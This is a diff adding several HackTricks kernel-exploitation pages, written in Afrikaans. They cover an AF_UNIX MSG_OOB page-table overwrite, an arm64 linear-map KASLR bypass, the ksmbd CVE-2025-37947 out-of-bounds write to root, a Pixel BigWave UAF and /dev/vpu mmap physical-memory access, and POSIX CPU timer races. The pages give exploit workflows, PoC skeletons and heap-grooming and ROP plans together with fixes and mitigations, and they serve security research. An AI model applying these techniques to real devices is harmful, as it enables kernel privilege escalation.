+1. **Fire the increment:** Release die frag loop terwyl `copy_from_iter()` stalled is sodat die +4 GiB-increment die `bytes` variable tref.[[1]](#references)
+2. **Overflow the copy:** Sodra die fault resume, glo `copy_page_from_iter()` dat dit >4 GiB in die huidige pipe page kan copy. Nadat die legitimate 0x2000 bytes (twee pipe buffers) gevul is, voer dit nog ’n iteration uit en skryf die oorblywende user data in watter physical page ook al op die pipe buffer PFN volg.
+3. **Arrange adjacency:** Gebruik allocator telemetry om die buddy allocator te dwing om ’n process-owned PTE page onmiddellik ná die target pipe buffer page te plaas (bv. wissel tussen die allocation van pipe pages en die touching van nuwe virtual ranges om page-table allocation te trigger totdat die PFNs binne dieselfde 2 MiB pageblock align).
+4. **Overwrite page tables:** Encode gewenste PTE entries in die ekstra 0x1000 bytes user data sodat die OOB `copy_from_iter()` die neighbouring page met attacker-chosen entries vul, wat RW/RWX user mappings van kernel physical memory gee of bestaande entries herskryf om SMEP/SMAP te deaktiveer.
+
+## Mitigations / hardening ideas
+
+- **Kernel:** Apply `32ca245464e1479bfea8592b9db227fdc1641705` (revalidate SKBs behoorlik) en oorweeg dit om AF_UNIX OOB heeltemal te deaktiveer tensy dit streng benodig word via `CONFIG_AF_UNIX_OOB` (`5155cbcdbf03`). Harden `manage_oob()` met addisionele sanity checks (bv. loop totdat `unix_skb_len() > 0`) en audit ander socket protocols vir soortgelyke assumptions.[[2]](#references)[[4]](#references)
+- **Sandboxing:** Filter `MSG_OOB`/`MSG_PEEK` flags in seccomp profiles of higher-level broker APIs (Chrome change `6711812` blokkeer nou `MSG_OOB` aan renderer-kant).[[3]](#references)
+- **Allocator defenses:** Die versterking van SLUB freelist randomization of die afdwing van per-cache page coloring sal deterministic page recycling bemoeilik; pipeline-limiting van pipe buffer counts verminder ook reallocation reliability.
+- **Monitoring:** Stel high-rate page-table allocation of abnormale pipe usage deur telemetry bloot — hierdie exploit verbruik groot hoeveelhede page tables en pipe buffers.
+
+## References
+
+- [1] [Project Zero – "From Chrome renderer code exec to kernel with MSG_OOB"](https://projectzero.google/2025/08/from-chrome-renderer-code-exec-to-kernel.html)
+- [2] [Linux fix for CVE-2025-38236 (`manage_oob` revalidation)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=32ca245464e1479bfea8592b9db227fdc1641705)
+- [3] [Chromium CL 6711812 – block `MSG_OOB` in renderers](https://chromium-review.googlesource.com/c/chromium/src/+/6711812)
+- [4] [Commit adding `CONFIG_AF_UNIX_OOB` prompt](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=5155cbcdbf03f207095f9a3794942a25aa7e5f58)
+- [5] [Linux kselftest for AF_UNIX OOB semantics (`tools/testing/selftests/net/af_unix/msg_oob.c`)](https://github.com/torvalds/linux/blob/master/tools/testing/selftests/net/af_unix/msg_oob.c)
+
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/linux-kernel-exploitation/arm64-static-linear-map-kaslr-bypass.md b/src/binary-exploitation/linux-kernel-exploitation/arm64-static-linear-map-kaslr-bypass.md
new file mode 100644
index 00000000000..5f47caca198
--- /dev/null
+++ b/src/binary-exploitation/linux-kernel-exploitation/arm64-static-linear-map-kaslr-bypass.md
@@ -0,0 +1,75 @@
+# Linux arm64 Static Linear Map KASLR Bypass
+
+{{#include ../../banners/hacktricks-training.md}}
+
+## Oorsig
+
+Android kernels wat vir arm64 gebou is, aktiveer byna universeel **`CONFIG_ARM64_VA_BITS=39`** (3-vlak paging) en **`CONFIG_MEMORY_HOTPLUG=y`**. Met slegs 512 GiB se kernel virtual space beskikbaar, het die Linux-ontwikkelaars gekies om die **linear map** by die laagste moontlike kernel VA te anker sodat RAM wat later deur hot-plug bygevoeg word, eenvoudig die mapping opwaarts kan uitbrei. Sedert commit `1db780bafa4c` probeer arm64 nie meer eens om daardie plasing te randomize nie, wat beteken:[[1]](#references)
+
+- `PAGE_OFFSET = 0xffffff8000000000` word ingebou.
+- `PHYS_OFFSET` word verkry vanaf die geëksporteerde `memstart_addr`, wat op standaard Android-toestelle effektief konstant is (vandag 0x80000000).
+
+Gevolglik het **elke fisiese page ’n deterministiese linear-map virtual address wat onafhanklik van die KASLR slide is**:
+```c
+#define phys_to_virt(p) (((unsigned long)(p) - 0x80000000UL) | 0xffffff8000000000UL)
+```
+As 'n aanvaller 'n fisiese adres (kernel-object, PFN vanaf `/proc/pagemap`, of selfs 'n gebruiker-beheerde bladsy) kan leer of beïnvloed, ken hy onmiddellik die ooreenstemmende kernel virtuele adres sonder om die gerandomiseerde primêre kernel-mapping te leaken.[[1]](#references)
+
+## Lees van `memstart_addr` en bevestiging van die transformasie
+
+`memstart_addr` word in `/proc/kallsyms` geëksporteer en kan op rooted toestelle of via enige arbitrêre kernel-read primitive gelees word. Project Zero het Jann Horn se tracing-BPF helper (`bpf_arb_read`) gebruik om dit direk te dump:[[1]](#references)
+```bash
+grep memstart /proc/kallsyms
+# ... obtains memstart_addr virtual address
+./bpf_arb_read 8
+```
+Die grepe `00 00 00 80 00 00 00 00` bevestig `memstart_addr = 0x80000000`. Sodra `PAGE_OFFSET` en `PHYS_OFFSET` vasgestel is, is die arm64 linear map ’n statiese affine transform van enige fisiese adres.[[1]](#references)
+
+## Afleiding van stabiele `.data`-adresse op toestelle met ’n vaste kernel physbase
+
+Baie Pixels dekomprimeer steeds die kernel by **`phys_kernel_base = 0x80010000`** tydens elke boot (sigbaar in `/proc/iomem`). Deur dit met die statiese transform te kombineer, kan adresse vir enige data-simbool stabiel oor herstarts heen gemaak word:[[1]](#references)
+
+1. Teken die gerandomiseerde kernel-virtuele adres van `_stext` en jou teikensimbool uit `/proc/kallsyms` aan (of uit die presiese `vmlinux`).
+2. Bereken die offset: `offset = sym_virt - _stext_virt`.
+3. Voeg die statiese boot-time physbase by: `phys_sym = 0x80010000 + offset`.
+4. Skakel dit om na ’n linear-map VA: `virt_sym = phys_to_virt(phys_sym)`.
+
+Voorbeeld (`modprobe_path` op ’n Pixel 9): `offset = 0x1fe2398`, `phys = 0x81ff2398`, `virt = 0xffffff8001ff2398`. Ná verskeie herstarts gee `bpf_arb_read 0xffffff8001ff2398` dieselfde grepe terug, sodat exploit payloads `0xffffff8000010000` as ’n sintetiese, nie-gerandomiseerde basis vir alle `.data`-offsets kan behandel.[[1]](#references)
+
+Hierdie mapping is **RW**, dus kan enige primitive wat attacker-data in kernel-virtuele ruimte kan plaas (double free, UAF, non-paged heap write, ens.) credentials, LSM hooks of dispatch tables patch sonder om ooit die ware KASLR-slide te leak. Die enigste beperking is dat `.text` as non-executable in die linear map gemap is, dus vereis gadget hunting steeds ’n tradisionele leak.[[1]](#references)
+
+## PFN spraying wanneer die kernel physbase gerandomiseer word
+
+Vendors soos Samsung randomize die kernel load PFN, maar die statiese linear map kan steeds misbruik word omdat PFN-allokasie nie volledig random is nie:[[1]](#references)
+
+1. **Spray user pages**: `mmap()` ongeveer 5 GiB en raak aan elke page om dit in te fault.
+2. **Harvest PFNs**: lees `/proc/pagemap` vir elke page (of gebruik ’n ander PFN leak) om die lys van backing PFNs te versamel.
+3. **Repeat and profile**: herstart, voer dit 100× weer uit en bou ’n histogram wat wys hoe gereeld elke PFN deur die attacker beheer is. Sommige PFNs is white-hot (100/100 keer kort ná boot geallokeer).
+4. **Convert PFN → kernel VA**:
+- `phys = (pfn << PAGE_SHIFT) + offset_in_page`
+- `virt = phys_to_virt(phys)`
+5. **Forge kernel objects in those pages** en stuur victim pointers (UAF, overflow, ens.) na die bekende linear-map adresse.
+
+Omdat die linear map identity-mapped RW memory is, laat hierdie tegniek jou toe om volledig deur die attacker beheerde data by deterministiese kernel-VAs te plaas, selfs wanneer die werklike kernel base beweeg. Exploits kan vals `file_operations`-, `cred`- of refcount-strukture vooraf in die gespraye pages bou en dan bestaande kernel pointers daarheen pivot.[[1]](#references)
+
+## Praktiese workflow vir arm64 Android exploits
+
+1. **Info gathering**
+- Gebruik root of ’n kernel read primitive om `memstart_addr`, `_stext` en die teikensimbool uit `/proc/kallsyms` te dump.
+- Vertrou op Pixels die statiese physbase uit `/proc/iomem`; berei op ander toestelle die PFN profiler voor.
+2. **Address calculation**
+- Pas die offset-math hier bo toe en cache die resulterende linear-map VAs in jou exploit.
+- Hou vir PFN spraying ’n lys van "reliable" PFNs wat herhaaldelik in attacker memory beland.
+3. **Exploit integration**
+- Wanneer ’n arbitrary write beskikbaar is, patch teikens soos `modprobe_path`, `init_cred` of security ops arrays direk by die voorafberekende adresse.
+- Wanneer slegs heap corruption bestaan, skep vals objects in die bekende supervised pages en wys victim pointers weer na hierdie linear-map VAs.
+4. **Verification**
+- Gebruik `bpf_arb_read` of enige veilige read primitive om te kontroleer dat die berekende adres die verwagte grepe bevat voordat destructive writes uitgevoer word.
+
+Hierdie workflow elimineer die KASLR-leak-stadium vir data-centric kernel exploits op Android, wat exploit-kompleksiteit drasties verlaag en betroubaarheid verbeter.[[1]](#references)
+
+## Verwysings
+
+- [1] [Project Zero - Defeating arm64 Linux KASLR by Exploiting the Static Linear Map and Kernel Physical Placement on Android](https://projectzero.google/2025/11/defeating-kaslr-by-doing-nothing-at-all.html)
+
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/linux-kernel-exploitation/ksmbd-streams_xattr-oob-write-cve-2025-37947.md b/src/binary-exploitation/linux-kernel-exploitation/ksmbd-streams_xattr-oob-write-cve-2025-37947.md
new file mode 100644
index 00000000000..a2154dfaf67
--- /dev/null
+++ b/src/binary-exploitation/linux-kernel-exploitation/ksmbd-streams_xattr-oob-write-cve-2025-37947.md
@@ -0,0 +1,132 @@
+# ksmbd streams_xattr OOB write → local LPE (CVE-2025-37947)
+
+{{#include ../../banners/hacktricks-training.md}}
+
+Hierdie bladsy dokumenteer 'n deterministiese out-of-bounds write in ksmbd streams-hantering wat 'n betroubare Linux-kernel privilege escalation op Ubuntu 22.04 LTS (5.15.0-153-generic) moontlik maak, terwyl KASLR, SMEP en SMAP met behulp van standaard kernel heap primitives (msg_msg + pipe_buffer) omseil word.[[1]](#references)
+
+- Geaffekteerde komponent: fs/ksmbd/vfs.c — ksmbd_vfs_stream_write()
+- Primitive: page-overflow OOB write verby 'n 0x10000-grepe kvmalloc()-buffer
+- Voorvereistes: ksmbd loop met 'n geverifieerde, skryfbare share wat vfs streams_xattr gebruik
+
+Voorbeeld smb.conf
+```ini
+[share]
+path = /share
+vfs objects = streams_xattr
+writeable = yes
+```
+Worteloorsaak (allocation clamped, memcpy by unclamped offset)
+- Die funksie bereken `size = *pos + count`, beperk `size` tot XATTR_SIZE_MAX (0x10000) wanneer dit oorskry word, en bereken `count = (*pos + count) - 0x10000` opnuut, maar voer steeds `memcpy(&stream_buf[*pos], buf, count)` uit na 'n buffer van 0x10000 grepe. As `*pos ≥ 0x10000` is, is die bestemmingwyser reeds buite die allocation, wat 'n OOB write van `count` grepe veroorsaak.
+- `streams_xattr` stoor SMB alternate data streams binne POSIX extended attributes, dus kom die 0x10000-plafon van die Linux-limiet vir die grootte van 'n enkele xattr, eerder as van 'n SMB-protokolveld. Dit maak die bug slegs prakties wanneer die share uitdruklik `vfs objects = streams_xattr` aktiveer en die filesystem xattrs ondersteun.[[1]](#references)
+
+Waarom die write offset saak maak
+- Die kwesbare pad is nie bloot "skryf meer as 64KiB" nie. Die ontbrekende check was dat `*pos` nie teen die huidige stream-lengte (`v_len`) gevalideer is voordat die append/copy-logika uitgevoer is nie.
+- Upstream het dit reggestel deur writes waar `*pos >= v_len` is met `-EINVAL` te weier.[[2]](#references) Voor die fix kon 'n aanvaller 'n geldige authenticated handle na 'n named stream hergebruik en 'n raw SMB2 WRITE stuur waarvan `file_offset` reeds na of verby die einde van die bestaande stream wys, wat die post-clamp `memcpy()` in 'n deterministiese page overflow verander.
+- Die publieke PoC demonstreer dit deur met `libsmb2` te authenticate, 'n stream path soos `1337:` oop te maak, `SessionId`/`TreeId`/`FileId` te onttrek, en dan 'n handgemaakte SMB2 WRITE met `file_offset = 0x10018` en 'n klein `Length` te stuur.[[1]](#references)[[3]](#references)
+
+
+Kwesbare funksie-snippet (ksmbd_vfs_stream_write)
+```c
+// https://elixir.bootlin.com/linux/v5.15/source/fs/ksmbd/vfs.c#L411
+static int ksmbd_vfs_stream_write(struct ksmbd_file *fp, char *buf, loff_t *pos, size_t count)
+{
+char *stream_buf = NULL, *wbuf;
+size_t size;
+...
+size = *pos + count;
+if (size > XATTR_SIZE_MAX) { // [1] clamp allocation, but...
+size = XATTR_SIZE_MAX;
+count = (*pos + count) - XATTR_SIZE_MAX; // [1.1] ...recompute count
+}
+wbuf = kvmalloc(size, GFP_KERNEL | __GFP_ZERO); // [2] alloc 0x10000
+stream_buf = wbuf;
+memcpy(&stream_buf[*pos], buf, count); // [3] OOB when *pos >= 0x10000
+...
+kvfree(stream_buf);
+return err;
+}
+```
+
+
+Offset steering en OOB-lengte
+- Voorbeeld: stel die lêeroffset (pos) op 0x10018 en die oorspronklike lengte (count) op 8. Ná begrensing is count' = (0x10018 + 8) - 0x10000 = 0x20, maar memcpy skryf 32 grepe vanaf stream_buf[0x10018], d.w.s. 0x18 grepe buite die 16-bladsy-allokasie.[[1]](#references)
+
+Triggering van die bug via SMB streams write
+- Gebruik dieselfde geauthentiseerde SMB-verbinding om ’n lêer op die share oop te maak en ’n write na ’n named stream (streams_xattr) uit te voer. Stel file_offset ≥ 0x10000 met ’n klein lengte om ’n deterministiese OOB-skryf van beheerbare grootte te genereer.
+- libsmb2 kan gebruik word om te authenticate en sulke writes oor SMB2/3 te skep.
+- In die praktyk is dit gerieflik om die onderhandelde SMB-sessie te hergebruik, omdat die exploit slegs ’n paar dinamiese velde in die WRITE-versoek (`TreeId`, `SessionId`, `FileId`) hoef te patch en dan die malformed packet direk oor dieselfde socket kan stuur.[[1]](#references)[[3]](#references)
+
+Minimum-bereikbaarheid (konsep)
+```c
+// Pseudocode: send SMB streams write with pos=0x0000010018ULL, len=8
+smb2_session_login(...);
+smb2_open("\\\\host\\share\\file:stream", ...);
+smb2_pwrite(fd, payload, 8, 0x0000010018ULL); // yields 32-byte OOB
+```
+Allocator-gedrag en waarom page shaping required
+- kvmalloc(0x10000, GFP_KERNEL|__GFP_ZERO) versoek 'n order-4-allokasie (16 contiguous pages) van die buddy allocator wanneer size > KMALLOC_MAX_CACHE_SIZE. Dit is nie 'n SLUB cache object nie.
+- memcpy vind onmiddellik ná allokasie plaas; post-allocation spraying is ondoeltreffend. Jy moet fisiese memory vooraf groom sodat 'n gekose target onmiddellik ná die geallokeerde 16-page block lê.
+- Op Ubuntu haal GFP_KERNEL dikwels uit die Unmovable migrate type in zone Normal. Put order-3- en order-4-freelists uit om die allocator te dwing om 'n order-5-block in 'n aangrensende order-4 + order-3-paar te split, en parkeer dan 'n order-3 slab (kmalloc-cg-4k) direk ná die stream buffer.[[1]](#references)
+
+Praktiese page shaping-strategie
+- Spray ongeveer 1000–2000 msg_msg-objects van ongeveer 4096 bytes (pas in kmalloc-cg-4k) om order-3-slabs te vul.
+- Receive sommige messages om holes te punch en adjacency aan te moedig.
+- Trigger die ksmbd OOB herhaaldelik totdat die order-4 stream buffer onmiddellik vóór 'n msg_msg-slab land. Gebruik eBPF tracing om addresses en alignment te bevestig indien beskikbaar.[[1]](#references)
+
+Nuttige observability
+```bash
+# Check per-order freelists and migrate types
+sudo cat /proc/pagetypeinfo | sed -n '/Node 0, zone Normal/,/Node/p'
+# Example tracer (see reference repo) to log kvmalloc addresses/sizes
+sudo ./bpf-tracer.sh
+```
+Wat om na te spoor tydens tuning
+- `kvmalloc_node(0x10000)` bevestig wanneer die kwesbare stream write werklik ’n order-4 allocation gebruik.
+- `load_msg`/`kretprobe:load_msg` laat jou skat hoeveel `msg_msgseg` allocations aan elke gesproeide message gekoppel is, wat nuttig is wanneer die primary/secondary message-groottes vir ’n spesifieke kernel build ingestel word.
+- As die exploit na ’n ander distro/kernel oorgedra word, kontroleer cache name, inline `msg_msg` payload-groottes, `anon_pipe_buf_ops` offsets en gadget addresses weer, eerder as om aan te neem dat die Ubuntu 22.04 LTS `5.15.0-153-generic`-konstantes steeds ooreenstem.[[1]](#references)
+
+Exploitation plan (msg_msg + pipe_buffer), aangepas vanaf CVE-2021-22555
+1) Spray baie System V msg_msg primary/secondary messages (4KiB-grootte om in kmalloc-cg-4k te pas).
+2) Trigger ksmbd OOB om ’n primary message se next pointer te korrupteer sodat twee primaries een secondary deel.
+3) Bespeur die gekorrumpeerde paar deur queues te tag en met msgrcv(MSG_COPY) te scan om mismatched tags te vind.
+4) Free die werklike secondary om ’n UAF te skep; reclaim dit met controlled data via UNIX sockets (craft ’n fake msg_msg).
+5) Leak kernel heap pointers deur m_ts over-read in copy_msg te abuse om mlist.next/mlist.prev te verkry (SMAP bypass).
+6) Met ’n skbuff spray, herbou ’n konsekwente fake msg_msg met geldige links en free dit normaalweg om die state te stabiliseer.
+7) Reclaim die UAF met struct pipe_buffer objects; leak anon_pipe_buf_ops om kernel base te bereken (defeat KASLR).
+8) Spray ’n fake pipe_buf_operations met release wat na ’n stack pivot/ROP gadget wys; close pipes om dit uit te voer en root te verkry.[[1]](#references)
+
+Bypasses en notas
+- KASLR: leak anon_pipe_buf_ops, bereken base (kbase_addr) en gadget addresses.
+- SMEP/SMAP: voer ROP in kernel context uit via pipe_buf_operations->release flow; vermy userspace derefs totdat die disable/prepare_kernel_cred/commit_creds chain voltooi is.
+- Hardened usercopy: nie van toepassing op hierdie page overflow primitive nie; corruption targets is non-usercopy fields.[[1]](#references)
+
+Reliability
+- Hoog sodra adjacency bereik is; occasional misses of panics (<10%). Deur spray/free counts te tune, verbeter stabiliteit. Daar is gerapporteer dat dit effektief is om die twee LSBs van ’n pointer te overwrite om spesifieke collisions te veroorsaak (byvoorbeeld, skryf die `0x0000_0000_0000_0500`-pattern in die overlap).[[1]](#references)
+
+Sleutelparameters om te tune
+- Aantal msg_msg sprays en hole pattern
+- OOB offset (pos) en gevolglike OOB length (count')
+- Aantal UNIX socket-, skbuff- en pipe_buffer sprays tydens elke stage
+
+Mitigations en reachability
+- Fix: clamp beide allocation en destination/length, of bound memcpy teen die allocated size; upstream patches word as CVE-2025-37947 opgespoor.[[2]](#references)
+- Remote exploitation sal addisioneel ’n betroubare infoleak en remote heap grooming vereis; hierdie write-up fokus op local LPE.[[1]](#references)
+
+Sien ook
+
+{{#ref}}
+../../network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md
+{{#endref}}
+
+References, PoC en tooling
+- libsmb2 vir SMB auth en streams writes
+- eBPF tracer script om kvmalloc addresses te log en allocations te histogram (byvoorbeeld, grep 4048 out-4096.txt)
+- Minimal reachability PoC en volledige local exploit is publicly available (sien References)
+
+## References
+
+- [1] [ksmbd - Exploiting CVE-2025-37947 (3/3) — Doyensec](https://blog.doyensec.com/2025/10/08/ksmbd-3.html)
+- [2] [Linux upstream fix: `ksmbd: prevent out-of-bounds stream writes by validating *pos`](https://github.com/torvalds/linux/commit/0ca6df4f40cf4c32487944aaf48319cb6c25accc)
+- [3] [KSMBD-CVE-2025-37947 PoC repository](https://github.com/doyensec/KSMBD-CVE-2025-37947)
+
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/linux-kernel-exploitation/pixel-bigwave-bigo-job-timeout-uaf-kernel-write.md b/src/binary-exploitation/linux-kernel-exploitation/pixel-bigwave-bigo-job-timeout-uaf-kernel-write.md
new file mode 100644
index 00000000000..8959390e17e
--- /dev/null
+++ b/src/binary-exploitation/linux-kernel-exploitation/pixel-bigwave-bigo-job-timeout-uaf-kernel-write.md
@@ -0,0 +1,111 @@
+# Pixel BigWave BIGO timeout race UAF → 2KB kernel write from mediacodec
+
+{{#include ../../banners/hacktricks-training.md}}
+
+## TL;DR
+
+- Vanuit die SELinux-beperkte **mediacodec**-konteks is `/dev/bigwave` (Pixel AV1 hardware accelerator) bereikbaar. ’n Agterstand van jobs laat `BIGO_IOCX_PROCESS` se **16s wait_for_completion_timeout()** die wagtyd bereik en terugkeer terwyl die worker thread terselfdertyd dieselfde inline `job`-struktuur uit die tou haal.[[1]](#references)[[2]](#references)
+- Deur die FD toe te maak, word `struct bigo_inst` onmiddellik vrygestel (dit bevat `struct bigo_job`). Die worker rekonstrueer `inst = container_of(job, ...)` en gebruik later vrygestelde velde soos **`job->regs`** binne `bigo_run_job()`, wat ’n **Use-After-Free op die inline job/inst** veroorsaak.[[1]](#references)[[2]](#references)
+- `bigo_pull_regs(core, job->regs)` voer `memcpy_fromio(regs, core->base, core->regs_size)` uit. Deur die vrygestelde slab te herwin en `job->regs` te oorskryf, kry ’n aanvaller ’n **~2144-byte arbitrary kernel write** na ’n gekose adres, met gedeeltelike beheer oor die bytes deur registerwaardes vooraf te programmeer voordat die timeout plaasvind.[[1]](#references)[[2]](#references)
+- Dit word as **CVE-2025-36934** nagespoor; dit is reggestel in die **2026-01-05 Pixel/2025-12-01 ASB** builds.[[3]](#references)
+
+## Attack surface mapping (SELinux → /dev reachability)
+
+- Gebruik tools soos **DriverCartographer** om device nodes te lys wat vanaf ’n gegewe SELinux-domain toeganklik is. Ondanks mediacodec se beperkte policy (software decoders behoort in ’n geïsoleerde konteks te bly), het `/dev/bigwave` bereikbaar gebly, wat ’n groot attack surface aan post-media-RCE-kode blootgestel het.[[1]](#references)
+
+## Vulnerability: BIGO_IOCX_PROCESS timeout vs worker
+
+- Vloei: ioctl kopieer die user register buffer na `job->regs`, plaas die inline `job` in die tou, waarna `wait_for_completion_timeout(..., 16s)` geroep word. By timeout probeer dit om die job uit die tou te haal of te kanselleer en keer dit terug na userspace.
+- Intussen het `bigo_worker_thread` moontlik pas dieselfde `job` uit die tou gehaal:
+```c
+inst = container_of(job, struct bigo_inst, job);
+bigo_push_regs(core, job->regs);
+...
+bigo_pull_regs(core, job->regs); // memcpy_fromio(regs, core->base, core->regs_size)
+*(u32 *)(job->regs + BIGO_REG_STAT) = status;
+```
+- If userspace die FD ná die timeout sluit, word `inst`/`job` vrygestel terwyl die worker dit steeds gebruik → UAF. Geen sinchronisasie koppel die FD se leeftyd aan die worker thread se job-pointer nie.[[1]](#references)[[2]](#references)
+
+## Exploitation-oorsig
+
+1. **Backlog + timeout:** Queue genoeg jobs sodat die worker vertraag word, en reik dan `BIGO_IOCX_PROCESS` uit en laat dit die 16s-timeoutpad bereik.
+2. **Free terwyl dit gebruik word:** Sodra ioctl terugkeer, doen `close(fd)` om `inst`/`job` vry te stel terwyl die worker steeds die gedequeue’de job uitvoer.
+3. **Reclaim + pointer control:** Spray reclaimers (bv. **Unix domain socket message**-allokasies) om die vrygestelde slab-slot te beset en die inline `job`, veral `job->regs`, te oorskryf.
+4. **Arbitrary write:** Wanneer `bigo_pull_regs()` loop, skryf `memcpy_fromio()` **core->regs_size (~2144 bytes)** vanaf MMIO na die aanvaller-gespesifiseerde adres in `job->regs`, wat ’n groot write-what-where sonder ’n KASLR-leak oplewer.
+5. **Data shaping:** Omdat registers aanvanklik vanaf user data (`bigo_push_regs`) geprogrammeer word, stel hulle so in dat die hardware nie uitvoer nie, sodat die teruggekopieerde registerbeeld na aan die aanvaller-beheerde bytes bly.[[1]](#references)
+
+### Minimal PoC-skeleton (blocking backlog + reclaim)
+```c
+int fd = open("/dev/bigwave", O_RDWR);
+for (int i = 0; i < 64; i++) submit_job(fd, regs_buf); // fill worker queue
+submit_job(fd, regs_buf); // victim job
+auto t0 = now();
+while (now() - t0 < 17000ms) sched_yield(); // hit 16s timeout
+close(fd); // free inst/job
+spray_uds_msgs(payload_pointing_to_target, spray_count); // reclaim slab
+sleep(1); // let worker memcpy_fromio
+```
+- `regs_buf` moet BigWave vooraf instel om idle te wees (bv. stel beheerbisse in om uitvoering oor te slaan), sodat die registerbeeld wat teruggekopieer word deterministies bly.
+
+
+## Verwante opvolgprimitive op Pixel 10: onbeperkte `/dev/vpu` `mmap()` → fisiese-geheue R/W
+
+Project Zero se opvolgwerk vir Pixel 10 het BigWave vervang met nog ’n **mediacodec-reachable** driver: `/dev/vpu` vir die **Chips&Media Wave677DV**-decoder. Die bug-klas is selfs eenvoudiger: die driver is bedoel om slegs die VPU MMIO CSR-venster bloot te stel, maar sy `mmap`-handler vertrou op die aanvaller-beheerde VMA-lengte.[[4]](#references)[[5]](#references)
+```c
+static int vpu_mmap(struct file *fp, struct vm_area_struct *vm)
+{
+...
+pfn = core->paddr >> PAGE_SHIFT;
+return remap_pfn_range(vm, vm->vm_start, pfn,
+vm->vm_end - vm->vm_start,
+vm->vm_page_prot) ? -EAGAIN : 0;
+}
+```
+### Waarom dit uitbuitbaar is
+
+- `pfn` is vasgestel op die VPU MMIO fisiese basis (`core->paddr >> PAGE_SHIFT`).
+- Die gemapte lengte is **`vm->vm_end - vm->vm_start`**, dit wil sê die gebruiker-aangevraagde `mmap()`-grootte.
+- Daar is **geen kontrole** dat die aangevraagde grootte deur die werklike MMIO-hulpbrongrootte begrens word nie.
+
+Daarom, indien `/dev/vpu` vanaf 'n gekompromitteerde app/service-domein bereikbaar is, stop 'n groot `mmap()` nie by die registervenster nie: dit hou aan om die **aaneenlopende fisiese bladsye ná die VPU MMIO-reeks** in userspace te karteer.[[4]](#references)
+
+### Uitbuitingsmodel
+
+1. Verkry code execution in 'n konteks wat toegelaat word om `/dev/vpu` oop te maak (byvoorbeeld **mediacodec** ná 'n media-parser-bug).
+2. `open("/dev/vpu", O_RDWR)`.
+3. `mmap()` 'n streek wat baie groter as die werklike CSR/MMIO-venster is.
+4. Bereken die offset vanaf die teruggekeerde mapping na die kernel se fisiese basis.
+5. Lees of oorskryf kernel `.text`, `.data`, credentials, function pointers, of bou 'n geriefliker arbitrêre R/W primitive.[[4]](#references)
+
+Verteenwoordigende patroon:
+```c
+int fd = open("/dev/vpu", O_RDWR);
+void *map = mmap(NULL, HUGE_LEN, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
+uint8_t *kbase = (uint8_t *)map + (KERNEL_PHYS_BASE - VPU_PHYS_BASE);
+// Direct kernel physical read/write via kbase[...]
+```
+### Praktiese notas
+
+- Op Pixels is hierdie primitive besonder sterk omdat daar waargeneem is dat die kernel se physical placement voorspelbaar is; sien ook:
+
+{{#ref}}
+arm64-static-linear-map-kaslr-bypass.md
+{{#endref}}
+
+- In vergelyking met die vroeëre BigWave UAF, omseil hierdie bug heap feng shui byna heeltemal: sodra die oversized mapping slaag, kry die attacker **direct userspace access tot kernel physical memory**.[[4]](#references)[[5]](#references)
+- Review-patroon: enige driver wat MMIO via `remap_pfn_range()` beskikbaar stel, moet `requested_len <= resource_size` afdwing, offsets versigtig belyn, en arbitrêre uitbreiding buite die device BAR/resource verwerp.
+
+## Belangrike gevolgtrekkings vir driver reviewers
+
+- Inline per-FD job-strukture wat aan async workers gequeue word, moet references behou wat timeout/cancel paths oorleef; **die sluiting van ’n FD moet met worker consumption sinkroniseer**.
+- Enige MMIO copy helpers (`memcpy_fromio`/`memcpy_toio`) wat buffer pointers van jobs gebruik, moet gevalideer of gedupliseer word voordat dit gequeue word, om UAF→write primitives te voorkom.
+
+## Verwysings
+
+- [1] [Pixel 0-click (Part 2): Escaping the mediacodec sandbox via the BigWave driver](https://projectzero.google/2026/01/pixel-0-click-part-2.html)
+- [2] [Project Zero issue 426567975 – BigWave BIGO timeout UAF](https://project-zero.issues.chromium.org/issues/426567975)
+- [3] [CVE-2025-36934 entry (BigWave driver)](https://www.cybersecurity-help.cz/vulnerabilities/119071/)
+- [4] [Project Zero – Pixel 10 Zero-Click-to-Root: Dolby CVE-2025-54957 and /dev/vpu Kernel mmap Privilege Escalation](https://projectzero.google/2026/05/pixel-10-exploit.html)
+- [5] [Project Zero issue 463438263 – /dev/vpu unbounded mmap](https://project-zero.issues.chromium.org/issues/463438263)
+
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md b/src/binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md
new file mode 100644
index 00000000000..805c04aa00e
--- /dev/null
+++ b/src/binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md
@@ -0,0 +1,221 @@
+# POSIX CPU Timers TOCTOU race (CVE-2025-38352)
+
+{{#include ../../banners/hacktricks-training.md}}
+
+Hierdie bladsy dokumenteer ’n TOCTOU-rastoestand in Linux/Android POSIX CPU timers wat timerstatus kan korrupteer en die kernel kan laat omval, en wat onder sekere omstandighede na privilege escalation gestuur kan word.[[1]](#references) [[5]](#references)
+
+- Geaffekteerde komponent: kernel/time/posix-cpu-timers.c
+- Primitive: expiry-teenoor-deletion-race tydens task exit
+- Konfigurasiesensitief: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
+
+Vinnige oorsig van die interne werking (relevant vir exploitation)
+- Drie CPU clocks dryf accounting vir timers via cpu_clock_sample():[[1]](#references) [[5]](#references)
+- CPUCLOCK_PROF: utime + stime
+- CPUCLOCK_VIRT: slegs utime
+- CPUCLOCK_SCHED: task_sched_runtime()
+- Timer creation koppel ’n timer aan ’n task/pid en initialiseer die timerqueue nodes:
+```c
+static int posix_cpu_timer_create(struct k_itimer *new_timer) {
+struct pid *pid;
+rcu_read_lock();
+pid = pid_for_clock(new_timer->it_clock, false);
+if (!pid) { rcu_read_unlock(); return -EINVAL; }
+new_timer->kclock = &clock_posix_cpu;
+timerqueue_init(&new_timer->it.cpu.node);
+new_timer->it.cpu.pid = get_pid(pid);
+rcu_read_unlock();
+return 0;
+}
+```
